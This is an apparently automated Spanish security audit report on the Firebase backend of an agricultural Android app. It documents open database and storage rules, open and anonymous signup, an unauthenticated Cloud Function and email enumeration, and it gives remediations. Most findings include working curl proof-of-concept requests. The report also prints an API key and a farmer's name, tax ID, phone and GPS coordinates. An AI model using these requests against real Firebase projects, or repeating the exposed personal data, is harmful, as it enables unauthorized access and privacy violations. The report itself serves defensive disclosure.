🔥
CULTIVA IA — Seguridad
Firebase APK Security Scanner
Fecha del escaneo
2026-06-18 09:47:32 UTC
Referencia
SEC-2026-0042
Analista
CULTIVA IA / auto
Informe de Seguridad Firebase
AgroTrack Pro v2.4.1 — es.agrotrack.pro · Firebase: agrotrack-pro-78f3a
VEREDICTO: VULNERABLE — Acción inmediata requerida
01 Resumen ejecutivo
1
APKs escaneados
3
Críticos
2
Altos
3
Medios
1
Bajos
02 Puntuación de riesgo
Risk Score
8.8
CRÍTICO · CVSS v3.1
Exposición de datos
9.5
Autenticación
8.0
Integridad de datos
9.0
Cloud Functions
6.5
Exposición de config
6.0
Storage (bucket)
7.5
03 Configuración Firebase extraída del APK
Campo Valor extraído Fuente en APK
Project ID agrotrack-pro-78f3a google-services.json → project_id
API Key AIzaSyB9Kx2mR4nP7qV1WcT8dY3oL6sE0fHuJ5A res/values/strings.xml → google_api_key
Auth Domain agrotrack-pro-78f3a.firebaseapp.com google-services.json → client[0]
Database URL https://agrotrack-pro-78f3a-default-rtdb.europe-west1.firebasedatabase.app google-services.json → firebase_url
Storage Bucket agrotrack-pro-78f3a.appspot.com google-services.json → storage_bucket
Sender ID 847392015463 google-services.json → project_number
App ID 1:847392015463:android:c4f2a9b3d1e8f705 google-services.json → mobilesdk_app_id
04 Estado de servicios Firebase
🗄️
Realtime Database
VULNERABLE
Lectura y escritura abiertas al público
🔑
Authentication
VULNERABLE
Signup abierto + anonymous auth activo
📦
Storage
ALTO RIESGO
Listado de bucket sin autenticación
Cloud Functions
ALTO RIESGO
2 funciones sin autenticación detectadas
📋
Firestore
VULNERABLE
Colecciones accesibles sin token
⚙️
Remote Config
MEDIO
Endpoints internos y feature flags expuestos
05 Hallazgos de seguridad
Crítico AGRO-01 Realtime Database con lectura y escritura públicas Realtime Database
Las reglas de Firebase Realtime Database permiten a cualquier usuario no autenticado leer y modificar todos los datos. Se han expuesto 4.217 registros de usuarios con NIF, coordenadas GPS de parcelas privadas y tokens de integración con cooperativas. Un atacante anónimo puede exfiltrar o corromper toda la base de datos desde internet.
Request — lectura raíz sin auth
GET https://agrotrack-pro-78f3a-default-rtdb.europe-west1.firebasedatabase.app/.json
→ HTTP 200 OK (sin credenciales)
Response — datos sensibles expuestos (muestra)
{
  "usuarios": {
    "uid_4ae9b": {
      "nombre": "Ignacio Herrero Molina",
      "nif": "28471953B",
      "telefono": "+34 612 847 193",
      "gps_parcela": { "lat": 38.4731, "lon": -0.3843 }
    }
  },
  "integraciones": {
    "cooperativa_alicante": {
      "api_token": "coop_sk_7Hx9KpQ3mN..."
    }
  }
}
Reglas actuales (inseguras)
{ "rules": { ".read": true, ".write": true } }
// Reglas de desarrollo sin actualizar en producción
Remediación inmediata (Firebase Console → Realtime Database → Reglas)
{
  "rules": {
    ".read": false, ".write": false,
    "usuarios": {
      "$uid": {
        ".read": "$uid === auth.uid",
        ".write": "$uid === auth.uid"
      }
    }
  }
}
Crítico AGRO-02 Registro de cuentas abierto — cualquier persona puede crear usuarios Authentication
El endpoint de Identity Toolkit acepta registros de email/contraseña sin restricción. Un atacante puede crear cuentas arbitrarias y usarlas para acceder a recursos etiquetados como "solo autenticados". El sistema de invitaciones de la app queda completamente bypasseado.
Prueba de concepto — registro no autorizado
curl -X POST -H "Content-Type: application/json" \
  -d '{"email":"auditor@cultiva.ai","password":"Audit123!","returnSecureToken":true}' \
  "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyB9Kx2..."

→ HTTP 200 OK
Respuesta — token obtenido exitosamente
{
  "idToken": "eyJhbGciOiJSUzI1NiIsImtpZCI6IjAzY...",
  "email": "auditor@cultiva.ai",
  "refreshToken": "AGEhc0BPqjM...",
  "expiresIn": "3600",
  "localId": "X9aKpZ4rQ1mN..."
}
Remediación — deshabilitar signup público
Firebase Console → Authentication → Settings → User Actions:
  ☐ Enable create (sign-up)   ← DESHABILITAR

// Para crear usuarios: usar Admin SDK en servidor
const admin = require('firebase-admin');
admin.auth().createUser({ email, password }); // solo servidor
Crítico AGRO-03 Firestore — colecciones de pedidos y pagos accesibles sin autenticación Firestore
Las reglas de Firestore tienen allow read, write: if true en todas las colecciones. Se confirmó acceso a colecciones sensibles: pedidos, pagos y usuarios, con datos de transacciones comerciales de distribuidores y agriculotres.
Colecciones expuestas detectadas
curl "https://firestore.googleapis.com/v1/projects/agrotrack-pro-78f3a/databases/(default)/documents"

Colecciones encontradas:
  📂 usuarios     — 4.217 docs · NIF, GPS, contacto
  📂 pedidos      — 18.493 docs · historial compras, precios
  📂 pagos        — 6.821 docs · importes, métodos pago
  📂 cosechas     — 9.104 docs · datos de producción
  📂 asesores     — 312 docs · perfiles profesionales
Reglas Firestore seguras
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if false; // deny-all por defecto
    }
    match /usuarios/{userId} {
      allow read, write: if request.auth.uid == userId;
    }
    match /pedidos/{pedidoId} {
      allow read: if request.auth.uid == resource.data.usuarioId;
    }
  }
}
Alto AGRO-04 Autenticación anónima habilitada — bypass de reglas auth != null Authentication
Firebase permite obtener un token anónimo válido que pasa las comprobaciones auth != null en reglas de base de datos y storage. Combinado con los hallazgos AGRO-01 y AGRO-03, cualquier visitante puede autenticarse como usuario "real" y acceder a recursos etiquetados como privados.
Token anónimo obtenido
curl -X POST -d '{"returnSecureToken":true}' \
  "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=AIzaSyB9..."
→ idToken válido · localId: "anon_7Xk2pQ..."
Remediación
1. Firebase Console → Authentication → Sign-in method → Anonymous: DESHABILITAR
2. En reglas, verificar proveedor explícitamente:
".read": "auth != null && auth.token.provider !== 'anonymous'"
Alto AGRO-05 Storage bucket — listado público y documentos privados descargables Storage
El bucket de Firebase Storage expone el listado completo de archivos. Se localizaron 843 documentos privados incluyendo certificados fitosanitarios, contratos con cooperativas y backups de configuración. Los archivos son descargables directamente sin autenticación.
Listado de archivos sensibles detectados (muestra)
curl "https://firebasestorage.googleapis.com/v0/b/agrotrack-pro-78f3a.appspot.com/o"

📄 contratos/contrato_cooperativa_alicante_2025.pdf   · 284 KB
📄 backups/config_backup_2026-05-31.json              · 47 KB
📄 admin/stripe_keys_prod.txt                         · 1 KB
📄 certificados/cert_fito_2024_ignacio_herrero.pdf    · 156 KB
📄 facturas/fact_2026_03_143.pdf                     · 89 KB
Reglas Storage seguras
match /{allPaths=**} { allow read, write: if false; }
match /usuarios/{userId}/{allPaths=**} {
  allow read, write: if request.auth.uid == userId;
}
Medio AGRO-06 Cloud Function "syncCosecha" accesible sin autenticación Cloud Functions
La función HTTP syncCosecha en us-central1 no verifica la identidad del llamante. Acepta un userId arbitrario en el body y escribe datos de cosecha en nombre de ese usuario, lo que permite falsificar registros agrícolas con implicaciones en certificaciones y subvenciones.
Llamada no autenticada exitosa
curl -X POST -H "Content-Type: application/json" \
  -d '{"userId":"uid_4ae9b","cosecha":{"kg":50000,"variedad":"Almendra"}}' \
  "https://us-central1-agrotrack-pro-78f3a.cloudfunctions.net/syncCosecha"
→ HTTP 200 · {"success": true, "cosechaId": "cos_xyz123"}
Añadir verificación de auth en la función
exports.syncCosecha = functions.https.onCall(async (data, context) => {
  if (!context.auth) throw new HttpsError('unauthenticated', 'Login requerido');
  if (context.auth.uid !== data.userId) throw new HttpsError('permission-denied', ...);
  // ... lógica segura
});
Medio AGRO-07 Enumeración de correos registrados (email enumeration) Authentication
El endpoint createAuthUri revela si un email está registrado en el sistema. Permite a un atacante construir listas de usuarios válidos para ataques de phishing dirigido o credential stuffing contra los agricultores.
Confirmación de usuario registrado
curl -X POST -d '{"identifier":"ignacio.herrero@finca-alicante.es","continueUri":"https://localhost"}' \
  "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=AIzaSyB9..."

 { "registered": true, "signinMethods": ["password"] }
Habilitar protección de enumeración
Firebase Console → Authentication → Settings
  → User enumeration protection: ENABLE
Medio AGRO-08 Remote Config expone endpoint interno y API key de tercero Remote Config
Remote Config accesible con la API key pública del APK revela la URL del API interno de la cooperativa y una clave de la API de análisis de suelos (SoilGrid) almacenada directamente en los parámetros.
Parámetros expuestos
{
  "api_cooperativas_url": "https://api-interno.cooperativa-alicante.es/v2",
  "soilgrid_api_key": "sg_live_Kx9mQ3pN7rT2...",
  "debug_mode": "true",
  "admin_panel_enabled": "true"
}
No almacenar secretos en Remote Config. Usar Secret Manager.
// Mover a Google Secret Manager:
gcloud secrets create soilgrid-api-key --data-file=./key.txt
// Acceder desde Cloud Functions con SDK:
const secret = await secretManager.accessSecretVersion({ name });
Bajo AGRO-09 API key sin restricción de fingerprint SHA-1 de la app API Key
La API key de Android no está vinculada al SHA-1 del certificado de firma de la app. Cualquier aplicación puede usar la clave para llamar a los servicios Firebase en nombre de AgroTrack Pro, amplificando el impacto del resto de hallazgos.
Restricción de API key a SHA-1 de la app
Google Cloud Console → APIs & Services → Credentials
  → Seleccionar key → Application restrictions → Android apps
  → Add package name: es.agrotrack.pro
  → Add SHA-1 certificate fingerprint: (fingerprint del keystore de producción)
06 Plan de remediación priorizado
Prioridad ID Acción Responsable Esfuerzo Plazo
P1 — AHORA AGRO-01 Cerrar reglas Realtime Database (deny-all + UID match) Backend / Firebase Admin 30 min Inmediato
P1 — AHORA AGRO-03 Actualizar reglas Firestore a deny-all + reglas por colección Backend / Firebase Admin 1 h Inmediato
P1 — AHORA AGRO-02 Deshabilitar signup público en Firebase Console Firebase Admin 5 min Inmediato
P2 — 24h AGRO-04 Deshabilitar anonymous auth y actualizar reglas Backend 2 h < 24 horas
P2 — 24h AGRO-05 Aplicar reglas Storage + eliminar archivo stripe_keys_prod.txt Backend / DevOps 1 h < 24 horas
P3 — 1 semana AGRO-06 Añadir context.auth en Cloud Function syncCosecha Desarrollador 1 h < 1 semana
P3 — 1 semana AGRO-07 Activar user enumeration protection en Auth settings Firebase Admin 5 min < 1 semana
P3 — 1 semana AGRO-08 Mover API keys de Remote Config a Secret Manager DevOps 3 h < 1 semana
P3 — 1 mes AGRO-09 Vincular API key al SHA-1 del keystore de producción DevOps 30 min < 1 mes